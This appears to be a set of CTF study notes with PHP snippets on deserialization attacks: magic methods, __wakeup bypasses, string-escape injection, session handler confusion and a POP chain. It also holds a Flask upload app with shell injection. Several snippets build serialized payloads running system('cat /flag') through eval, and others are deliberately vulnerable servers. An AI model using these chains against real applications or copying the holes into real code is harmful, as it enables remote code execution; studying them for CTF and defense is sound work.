1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __construct($username,$password){
 7		echo "__construct\n";
 8        $this->username = $username;
 9        $this->password = $password;
10	}
11
12	function __destruct(){
13		echo "__destruct\n";
14	}
15}
16
17$a = new test('admin','admin888');
18unset($a);
19echo "abc\n";
20echo "--------------------\n";
21
22$a = new test('admin','admin888');
23echo "abc\n";

 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __construct($username,$password){
 7		echo "__construct\n";
 8        $this->username = $username;
 9        $this->password = $password;
10	}
11
12	function __sleep(){
13		echo "__sleep\n";
14		return [username,password]; //需要返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容，则NULL被序列化，导致一个E_NOTICE错误
15	}
16
17	function __wakeup(){
18		echo "__wakeup\n";
19		$this->username = 'user';
20	}
21
22}
23
24$a = new test('admin','admin888');
25$data = serialize($a);
26echo $data."\n";
27echo "-----------------------------\n";
28var_dump(unserialize($data));

 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __call($method,$args){
 7		echo '不存在'.$method.'方法(__call)'.'<br>';
 8	}
 9
10		function __callstatic($method,$args){
11		echo '不存在'.$method.'方法(__callstatic)'.'<br>';
12	}
13}
14
15$a = new test();
16$a->lewiserii();
17test::lewiserii();

 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __get($name){
 7		echo "__get\n";
 8	}
 9
10	function __set($name,$value){
11		echo "__set\n";
12	}
13
14}
15
16$a = new test();
17$a->password;
18$a->password='123456';

 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __isset($name){
 7		echo "__isset\n";
 8	}
 9	function __unset($name){
10		echo "__unset\n";
11	}
12}
13
14$a = new test();
15isset($a->password);
16unset($a->psd);

 1<?php
 2class test{
 3    public $a='test';
 4
 5    public function __wakeup(){
 6        $this->a='aaa';
 7    }
 8
 9    public function  __destruct(){
10        echo $this->a;
11    }
12}
13
14//$v = new test();
15//echo serialize($v);
16//O:4:"test":1:{s:1:"a";s:4:"test";}test
17?>

 1<?php
 2
 3class D {
 4
 5    public function __get($name) {
 6        echo "D::__get($name)\n";
 7    }
 8    public function __destruct() {
 9        echo "D::__destruct\n";
10    }
11    public function __wakeup() {
12        echo "D::__wakeup\n";
13    }
14}
15
16class C {
17    public function __destruct() {
18        echo "C::__destruct\n";
19        $this->c->b;
20
21    }
22}
23
24
25unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

 1<?php
 2//https://3v4l.org/YAje0
 3//https://bugs.php.net/bug.php?id=81151
 4class E  {
 5    public function __construct(){
 6
 7    }
 8
 9    public function __destruct(){
10        echo "destruct";
11    }
12
13    public function __wakeup(){
14        echo "wake up";
15    }
16}
17
18var_dump(unserialize('C:1:"E":0:{}'));

 1<?php
 2
 3class ctfshow {
 4    public $ctfshow;
 5
 6    public function __wakeup(){
 7        die("not allowed!");
 8    }
 9
10    public function __destruct(){
11        echo "OK";
12        system($this->ctfshow);
13    }
14
15
16}
17$a= new ctfshow();
18$a->ctfshow= "cat /f1agaaa";
19
20
21
22//$b=new SplObjectStorage();
23//$b->test=$a;
24//echo serialize($b);
25//C:16:"SplObjectStorage":77:{x:i:0;m:a:1:{s:4:"test";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}
26
27
28
29//$b=new ArrayObject($a);
30//echo serialize($b);
31//C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
32
33
34
35//$b=new ArrayIterator($a);
36//echo serialize($b);
37//C:13:"ArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
38
39
40
41
42//$b=new RecursiveArrayIterator($a);
43//echo serialize($b);
44//C:22:"RecursiveArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
45
46
47
48//$b=new SplDoublyLinkedList();
49//$b->push($a);
50//echo serialize($b);
51//C:19:"SplDoublyLinkedList":57:{i:0;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}
52
53
54
55
56//$b=new SplQueue();
57//$b->push($a);
58//echo serialize($b);
59//C:8:"SplQueue":57:{i:4;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}
60
61
62
63//$b=new SplStack();
64//$b->push($a);
65//echo serialize($b);
66//C:8:"SplStack":57:{i:6;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}

 1<?php
 2error_reporting(0);
 3highlight_file(__FILE__);
 4
 5class backdoor{
 6    public $name;
 7
 8    public function __destruct(){
 9        eval($this->name);
10    }
11}
12
13$data = $_POST['data'];
14
15if (preg_match('/^O:\d+/i',$data)){
16    die("object not allow unserialize");
17}

 1<?php
 2class test{
 3    public $a;
 4    public $b;
 5
 6    public function __construct(){
 7        $this->a = 'abc';
 8        $this->b = &$this->a;
 9    }
10    public function  __destruct(){
11        if($this->a===$this->b){
12            echo 666;
13        }
14    }
15}
16
17$a = serialize(new test());
18
19?>

 1<?php
 2class test{
 3	public $a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
 4	public $b='";s:1:"b";s:3:"abc";}';
 5}
 6
 7function filter($str){
 8    return str_replace("aaa","aa",$str);
 9}
10
11
12$v = new test();
13echo filter(serialize($v));
14
15//O:4:"test":2:{s:1:"a";s:48:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:21:"";s:1:"b";s:3:"abc";}";}
16?>

 1<?php
 2
 3/*
 4# -*- coding: utf-8 -*-
 5# @Author: h1xa
 6# @Date:   2020-12-04 23:52:24
 7# @Last Modified by:   h1xa
 8# @Last Modified time: 2020-12-05 00:17:08
 9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13
14highlight_file(__FILE__);
15
16include('flag.php');
17$cs = file_get_contents('php://input');
18
19
20class ctfshow{
21    public $username='xxxxxx';
22    public $password='xxxxxx';
23    public function __construct($u,$p){
24        $this->username=$u;
25        $this->password=$p;
26    }
27    public function login(){
28        return $this->username===$this->password;
29    }
30    public function __toString(){
31        return $this->username;
32    }
33    public function __destruct(){
34        global $flag;
35        echo $flag;
36    }
37}
38$ctfshowo=@unserialize($cs);
39if(preg_match('/ctfshow/', $cs)){
40    throw new Exception("Error $ctfshowo",1);
41}

 1fileatime
 2filectime
 3file_exists
 4file_get_contents
 5file_put_contents
 6file
 7filegroup
 8fopen
 9fileinode
10filemtime
11fileowner
12fileperms
13is_dir
14is_executable
15is_file
16is_link
17is_readable
18is_writable
19is_writeable
20parse_ini_file
21copy
22unlink
23stat
24readfile

 1//1.php
 2<?php
 3error_reporting(0);
 4ini_set('session.serialize_handler','php_serialize');
 5session_start();
 6$_SESSION['session'] = $_GET['session'];
 7var_dump($_SESSION);
 8
 9
10//2.php
11<?php
12error_reporting(0);
13ini_set('session.serialize_handler','php');
14session_start();
15class test{
16	public $name;
17	function __wakeup(){
18		echo $this->name;
19	}
20}

 1<?php
 2include("class.php");
 3error_reporting(0);
 4highlight_file(__FILE__);
 5ini_set("session.serialize_handler", "php");
 6session_start();
 7
 8if (isset($_GET['phpinfo']))
 9{
10    phpinfo();
11}
12if (isset($_GET['source']))
13{
14    highlight_file("class.php");
15}
16
17$happy=new Happy();
18$happy();
19?>

 1<?php
 2    class Happy {
 3        public $happy;
 4        function __construct(){
 5                $this->happy="Happy_New_Year!!!";
 6
 7        }
 8        function __destruct(){
 9                $this->happy->happy;
10
11        }
12        public function __call($funName, $arguments){
13                die($this->happy->$funName);
14        }
15
16        public function __set($key,$value)
17        {
18            $this->happy->$key = $value;
19        }
20        public function __invoke()
21        {
22            echo $this->happy;
23        }
24
25
26    }
27
28    class _New_{
29        public $daniu;
30        public $robot;
31        public $notrobot;
32        private $_New_;
33        function __construct(){
34                $this->daniu="I'm daniu.";
35                $this->robot="I'm robot.";
36                $this->notrobot="I'm not a robot.";
37
38        }
39        public function __call($funName, $arguments){
40                echo $this->daniu.$funName."not exists!!!";
41        }
42
43        public function __invoke()
44        {
45            echo $this->daniu;
46            $this->daniu=$this->robot;
47            echo $this->daniu;
48        }
49        public function __toString()
50        {
51            $robot=$this->robot;
52            $this->daniu->$robot=$this->notrobot;
53            return (string)$this->daniu;
54
55        }
56        public function __get($key){
57               echo $this->daniu.$key."not exists!!!";
58        }
59
60 }
61    class Year{
62        public $zodiac;
63         public function __invoke()
64        {
65            echo "happy ".$this->zodiac." year!";
66
67        }
68         function __construct(){
69                $this->zodiac="Hu";
70        }
71        public function __toString()
72        {
73                $this->show();
74
75        }
76        public function __set($key,$value)#3
77        {
78            $this->$key = $value;
79        }
80
81        public function show(){
82            die(file_get_contents($this->zodiac));
83        }
84        public function __wakeup()
85        {
86            $this->zodiac = 'hu';
87        }
88
89    }
90?>

 1$dir=new DirectoryIterator("/");
 2echo $dir;
 3
 4$dir=new FilesystemIterator("/");
 5echo $dir;
 6
 7//也可以与glob://协议配合使用来查找文件
 8$dir=new DirectoryIterator("glob:///*flag*");
 9echo $dir;
10
11$dir=new FilesystemIterator("glob:///*flag*");
12echo $dir;
13
14//GlobIterator无需借助glob协议即可搜索全局文件
15$dir=new GlobIterator("/*flag*");
16echo $dir;

 1class SoapClient {
 2/* 属性 */
 3private ?string $uri = null;
 4private ?int $style = null;
 5private ?int $use = null;
 6private ?string $location = null;
 7private bool $trace = false;
 8private ?int $compression = null;
 9private ?resource $sdl = null;
10private ?resource $typemap = null;
11private ?resource $httpsocket = null;
12private ?resource $httpurl = null;
13private ?string $_login = null;
14private ?string $_password = null;
15private bool $_use_digest = false;
16private ?string $_digest = null;
17private ?string $_proxy_host = null;
18private ?int $_proxy_port = null;
19private ?string $_proxy_login = null;
20private ?string $_proxy_password = null;
21private bool $_exceptions = true;
22private ?string $_encoding = null;
23private ?array $_classmap = null;
24private ?int $_features = null;
25private int $_connection_timeout;
26private ?resource $_stream_context = null;
27private ?string $_user_agent = null;
28private bool $_keep_alive = true;
29private ?int $_ssl_method = null;
30private int $_soap_version;
31private ?int $_use_proxy = null;
32private array $_cookies = [];
33private ?array $__default_headers = null;
34private ?SoapFault $__soap_fault = null;
35private ?string $__last_request = null;
36private ?string $__last_response = null;
37private ?string $__last_request_headers = null;
38private ?string $__last_response_headers = null;
39/* 方法 */
40public __construct(?string $wsdl, array $options = [])
41public __call(string $name, array $args): mixed
42public __doRequest(
43    string $request,
44    string $location,
45    string $action,
46    int $version,
47    bool $oneWay = false
48): ?string
49public __getCookies(): array
50public __getFunctions(): ?array
51public __getLastRequest(): ?string
52public __getLastRequestHeaders(): ?string
53public __getLastResponse(): ?string
54public __getLastResponseHeaders(): ?string
55public __getTypes(): ?array
56public __setCookie(string $name, ?string $value = null): void
57public __setLocation(?string $location = null): ?string
58public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
59public __soapCall(
60    string $name,
61    array $args,
62    ?array $options = null,
63    SoapHeader|array|null $inputHeaders = null,
64    array &$outputHeaders = null
65): mixed
66}

 1<?php
 2Class Dog {
 3    public $bone;
 4    public $meat;
 5    public $beef;
 6    public $candy;
 7    public function __invoke() {
 8        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
 9            return $this->candy->flag;
10        }
11    }
12
13    public function __toString() {
14        $function = $this->bone;
15        return $function();
16    }
17}
18
19CLass mouse {
20    public $rice;
21
22    public function __get($key) {
23        @eval($this->rice);
24    }
25}
26
27class Cat {
28    public $fish;
29    public function __construct() {
30    }
31
32    public function __destruct() {
33        echo $this->fish;
34    }
35}
36
37// 处理文件上传
38$message = '';
39$success = false;
40if ($_SERVER['REQUEST_METHOD'] === 'POST') {
41    if (isset($_FILES['uploaded_file'])) {
42        $uploadDir = __DIR__ . '/uploads/';
43        $uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);
44
45        if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
46            $message = '上传成功！';
47            $success = true;
48
49            $fileContent = file_get_contents($uploadedFile);
50            @unlink($uploadedFile);
51
52            @unserialize($fileContent);
53            $fileContent = "";
54
55            // 设置 session，表示上传成功
56            $_SESSION['upload_success'] = true;
57
58            // 重定向，防止刷新页面时重复提交表单
59            header("Location: " . $_SERVER['PHP_SELF']);
60            echo $message;
61            exit();
62        }
63    }
64}
65?>
66<!DOCTYPE html>
67<html lang="zh-CN">
68...
69</html>

 1<?php
 2// 启动 session
 3session_start();
 4
 5Class Dog {
 6    public $bone;
 7    public $meat;
 8    public $beef;
 9    public $candy;
10    public function __invoke() {
11        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
12            return $this->candy->flag;
13        }
14    }
15
16    public function __toString() {
17        $function = $this->bone;
18        return $function();
19    }
20}
21
22CLass mouse {
23    public $rice;
24
25    public function __get($key) {
26        @eval($this->rice);
27    }
28}
29
30class Cat {
31    public $fish;
32    public function __construct() {
33    }
34
35    public function __destruct() {
36        echo $this->fish;
37    }
38}
39
40
41$a = new Cat();
42$a->fish = new Dog();
43$a->fish->bone = new Dog();
44$a->fish->bone->meat = 's878926199a';
45$a->fish->bone->beef = 's155964671a';
46$a->fish->bone->candy = new mouse();
47$a->fish->bone->candy->rice = "system('cat /flag');";
48
49
50echo serialize($a);
51
52# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}

 1import os
 2import re
 3import subprocess
 4from flask import Flask, request, render_template, jsonify
 5
 6app = Flask(__name__)
 7
 8UPLOAD_FOLDER = 'uploads/'
 9if not os.path.exists(UPLOAD_FOLDER):
10    os.makedirs(UPLOAD_FOLDER)
11
12app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
13def checkname(filename):
14
15    ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
16    noip = re.compile(r"\d+\.\d+")
17    if re.search(ILLEGAL_CHARACTERS, filename):
18        return False
19    if ".." in filename :
20        return False
21    if(noip.findall(filename)):
22        return False
23
24
25@app.route('/')
26def upload_form():
27    return render_template('upload.html')
28
29@app.route('/upload', methods=['POST'])
30def upload_file():
31    if 'file' not in request.files:
32        return jsonify({"error": "No file part in the request"}), 400
33
34    file = request.files['file']
35    if file.filename == '':
36        return jsonify({"error": "No file selected"}), 400
37    if(checkname(file.filename)==False):
38        return jsonify({"error": "Not hacking!"}), 500
39    if file:
40        file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
41        file.save(file_path)
42        result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
43        encoded_string = result.stdout.strip()
44        return jsonify({
45            "filename": file.filename,
46            "base64": encoded_string
47        })
48
49if __name__ == '__main__':
50    app.run(host='0.0.0.0',port=5000)